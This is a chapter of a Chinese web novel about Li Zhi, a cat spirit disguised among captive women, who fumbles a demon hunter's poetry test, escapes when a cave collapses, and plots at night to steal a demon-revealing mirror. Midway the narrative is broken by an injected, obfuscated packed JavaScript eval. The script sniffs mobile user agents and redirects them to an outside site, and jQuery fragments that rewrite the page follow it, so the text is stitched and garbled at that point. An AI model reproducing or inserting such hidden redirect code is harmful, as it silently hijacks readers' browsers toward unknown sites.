闻言鲤织一阵胆寒,她甚至不知道胆在何处。她感觉这具身躯正微微的发颤,一阵又一阵寒气钻进衣袖,抚过那些突起的鸡皮疙瘩。头顶痒痒的,是耳朵要钻出来,指尖正长出尖利的指甲,深扣入掌心。
她反应过来,原来方才是胆怯造成的幻想。
以方才蜥蜴精的惨状,杀鸡儆猴,没有人再敢说话。
鲤织也乖乖噤了声,余光看见秦解佩主仆紧紧地相拥在一起。啊,也好想有一个人来抱一抱。
算了,还是自己抱自己吧,她展开双臂去环抱自己,摩挲了两下肩膀。
小七提议道:“妖物粗苯,不通诗文,不如让她们七步成诗?谁做不出来,谁便是妖。”
他似乎对自己的提议很是得意,话音未落便插起腰来。
不过这可不是简单的七步成诗,而是三山观独有的七步成诗阵。把验妖经文藏在诗眼中,一般妖物都熬不过三句便显现出原型。
鲤织感觉针一样的目光正扎在自己身上,她讪讪一笑,看着随霁恩三人开始排兵布阵。什么七步成诗,又是这些捉妖师想出来的折磨小妖的法子。她将目光移向一边的秦解佩,凑近过去两步,问道:“这位娘子,你可会作诗?”
红绦抬起眼,硬声硬气道:“那是当然,我们娘子德才兼备,诗书礼仪无不精通。”
鲤织挠挠耳朵,被关在这里的娘子即便不是官家小姐也是识文断字的,自己呢,怕是人家写下来放到眼前瞧也念不出来。她垂下头,轻咬唇瓣,颇有些哀怨:“我自小家中贫困不曾念过私塾,父母都是乡苦人,也是不识文断字的。只怕等会作不出诗来,就教这些捉妖师给诬死了。”
她作势挤出两点眼泪。
秦解佩急忙就要拿帕子给她拭,可是左摸右摸也没有,只好用衣袖在衣角揩了揩,搭在鲤织眼角,安慰道:“娘子先别难过,我想这些捉妖师为人正派是不会诬陷好人,滥杀无辜的。再说,七步成诗不过是凭个诗眼,届时你跟在其他人身后效仿几分就好了。不是抄袭,不是抄袭,是仿照几分。”
见她通红着脸辩解的模样,鲤织明白了她的意思,反正就跟在旁人身后拾人牙慧呗?
这边三人已经布好了七步成诗阵,随霁恩道:“请诸位娘子移步至此。”
他的目光在人群间轻飘飘扫过,来回兜转最终落在了鲤织身上,“这位娘子,便由你开始吧。”
正在心里默念“别叫我,别叫我”的鲤织闻言抬起头,瞳孔就像案板上的鱼般微微扩大。
她轻攥起拳头,这是赤裸裸的报复!
随霁恩见鲤织碎步挪过来,道:“请以风为字眼,七步成诗。”
鲤织用力扯着麻衣衣角,嘴上正打着哈哈,忽然一道金光投过来在脚底左右汇集,流动着包裹鞋底的轮廓。好像有火灼烧似的,她猛地一抬脚。
“这位娘子怎么了?”随霁恩审视的目光上下打量着。
不知为何身上汗毛一竖,鲤织笑道:“不知为何,脚底有些痒。”
“请娘子七步成诗。”小七言道。
“好的好的。”鲤织连连点头,正要迈步,还是想挽回一下,“小女子不通诗文,粗鄙浅薄,只怕引得诸位嘲笑。”
小七很快回复,伸手作势要请:“无碍。”
鲤织讪然一笑,提脚缓慢迈了一步,极为艰难地出声:“一日大风起,两岸芦花明。”
这两句还算是诗句。
“鱼肥难去捉,乱游不作窝。”
随霁恩的面色难看了起来。
鲤织沉浸在自己的艺术之中,露出腮边的笑涡:“不肥又不瘦,是坨好猪肉。”
在场众人皆是静默,若说前面几句勉强算得上诗句,后面简直就是驴唇不对马嘴。似乎有人听饿了,还吞咽了口唾沫。
眼看只剩最后一句,鲤织抬起脚,倏地一阵天摇地晃。
所有人惊慌失措,她顺势朝前扑倒,在扑倒的那一刻她看见脚下金阵碎裂的残影映在随霁恩的瞳孔之中,不禁闭上眼感叹:本猫福泽深厚。
“啊!”秦娘子紧紧搀着红绦,躲开一截从头顶断开的尖石。
她目光在石壁上一定,只见上面的裂纹正极速地延展开,并从中渗出道道丝状的白光。
连丝成网,而后天罗地网般罩住了全部视野。
尘埃散尽,只余断裂的铁链还锁着女子的脚踝。鲤织睁开眼,旋即艰难地爬起身。
脚上的铁锁如土渣一般,轻轻一撬便松落。
视野中青山脉脉,残阳如血,金光落地化流水,流水荡漾混天地。
不远处碧海飞金镜仰面看向黄天,镜中的万物延展成一片虚光,又于寸许间汇成颗粒,上下浮动。
鲤织感到被那虚光刺了一下,忙偏过头。
听闻碧海飞金镜是从北海最深最冷的地方取出的一块铜石磨成的,日出时浮光穿过深水落在其上,日落时流淌过的又是最黑最寒的暗流,故其生有阴阳瞳目,可辨妖物,且不碎不灭,延续万年。
余光中一道阴影移过来,随霁恩捡起地上的碧海飞金镜,偏头瞧了鲤织一眼。
鲤织忙装柔弱长吁短叹:“哎哟,好痛,也不知道有没有人怜香惜玉......”
随霁恩只皱着眉看着手中的碧海飞金镜,无论如何辗转腾挪也仅剩一片虚虚的暗影。任何妖物在碧海飞金镜下都会无所遁形,难道是方才那只蜥蜴精耗损了部分灵力?
他微蹙的眉峰与不远处陡峭的山脊悄然重合,片刻波澜一隐,他合掌收回碧海飞金镜。
“三师兄,还设阵吗?”剩下二人开口询问。
随霁恩似乎忘却了那个还剩下最后一句的七步成诗阵,抬手阻道:“不必了,已经跑了。”
“跑了?”小六本名靳明台,此刻他眉间皱出一道深影,颇有些气馁地将胳膊一甩。
好容易出来跑一趟,就捉了个蜥蜴精。
他将目光移向那些正茫然的娘子,施施然一作揖道:“等会我们便护送诸位娘子移交至官府,意外惊扰各位,先行致歉。”
官府?一石激起千层浪,众人不由得窃窃私语。她们畏惧官府,此行不过是贬黜,能离开长安也好,离不开也罢,牢狱之刑却是不想再经历一回。
鲤织早就被这身麻衣蹭的皮肉疼,背着手就等一个众人不注意的时候偷偷溜走。
可她总感觉背后有一道冰冷的目光时刻注意着,就像在洞窟中醒来时脚踝上锁着的那只铁链。没等寻摸到目光的来源,人群间传来一声女子的惊呼。
秦解佩盯着空荡荡的掌心,杏眸中滚动泪珠:“红绦,红绦不见了。”
她用手捂住脸浑身颤抖,泪水不断从指缝间溢出。明明方才自己一直拉着红绦,红绦怎么会不见了呢?
-
夜深露重,碎星只是淡淡一抹。山林中偶然出现的几声雀鸣使
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691742|173385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
院落亭阁更加寂静,枝叶残柳,倒映成景。一簇蔷薇花丛中倏地窜过道黑影,淡的像水洗的墨,行过之处,一只粉红花朵在枝头摇摇欲坠。
紧靠蔷薇花墙的窗轻轻被拉开一条缝,夜风锤击在窗纸上,倒像是呼应。
“老大,老大?”
闻声窗缝更大了一些,从那三角状的缝隙间钻出一只毛茸茸的爪子。
片刻后鲤织蹲在窗台上伸了个拦腰,投在墙壁上的影子却呈现出一只双耳尖尖的狸奴。
漆黑的夜幕中闪动一双绿色的眼瞳,发出声音:“老大,你没事吧?”
“当然没事了?”鲤织垂眼,来回看着自己的手,恶狠狠道,“区区一个臭脸捉妖师,能奈我何?”
她从窗台上跳下来,腰间小鱼木佩轻晃。
“阿惊你知道吗?我白日见到那臭脸捉妖师手里的一面叫碧海飞金镜的宝器,只需这么一照,那只小妖竟被活生生烧回了原型!”鲤织装作惊惧,双手叉腰,转成一副得意之相,“不过你老大我是谁?妖中之王,猫中老大,任凭什么劳什子镜子,尽管照个九九八十一回,烧掉我一根毛试试?”
她扬起下巴,顺手扯过一只蔷薇在鼻尖嗅了嗅。
阿惊的目光又惊惧转向崇拜,张大嘴巴道:“老大,你真厉害!”
“你说——”鲤织搓着双手,一双圆眼露出金光,“若是那碧海飞金镜落到我手中,能换多少小鱼干?瞬间感觉那几只破珠子不香了。”
阿惊愣了一下:“老大,你不是说以后都要行善积德,报的天人恩情吗?怎么又干起偷窃的老本行了?”
鲤织面色一变,伸手握拳在她脑袋上扎了一下:“胡说什么,本大王的老本行什么时候是偷盗了?而且我做的都是侠义之举,那些官兵手上的钱财来路不正,我劫富济贫怎么了?”
她抛弃手中的明珠,把玩几下便失了兴趣,掷给一脸懵懂的阿惊。
“那你去偷捉妖师的镜子呢?”
阿惊想知道鲤织还能说出什么堂堂正正的理由来。
“捉妖师嘛,那就更坏了。”鲤织瘪起嘴,下巴露出核桃般的纹路。她抱着胳膊来回踱步,道,“他们到处捉拿妖类,不分善恶,还用那么多恶劣的宝器法阵来折磨,难道还不够坏吗?”
她脑海中忽然回想起臭脸捉妖师的脸孔来,想到他抬起头,白皙修长的手指松松托着铜镜,一双严肃的眼瞳缓缓从镜中移向青天。铜镜泛出的金光镀在他玉琢的侧脸,高挺的鼻,微微翘起的唇缝,拉扯勾勒成一道一道弯折笔直的虚线。
“真坏——”鲤织扯扯嘴角。
阿惊唏嘘:“镜子可辨人妖,那有没有一面镜子能分清善恶?”
“善恶岂能那么容易分清?”鲤织摆摆手,“天人曾跟我说过,人的善恶站在不同的角度分辨的结果也不同。最简单的就是站在自己的角度,所以,对你好的就是好人,对你不好的就是恶人。”
阿惊缩了缩脖子,正欲说话却面色突变,呆张着口发不出声音。
“你怎么了?呆了?”鲤织拍拍她的肩膀,“是不是本大王的发言太过发人深省,让你茅塞顿开了?”
“你,你你身后!”阿惊咽下自己的结巴,拉起鲤织的手就往前跑。
鲤织愣愣地转身,一道被夜幕更深的暗影正缓缓靠近,她看见清晰的边界线正拉长移动,那些吞噬在其中的山林就像被埋入了深水,连轮廓都不曾剩下。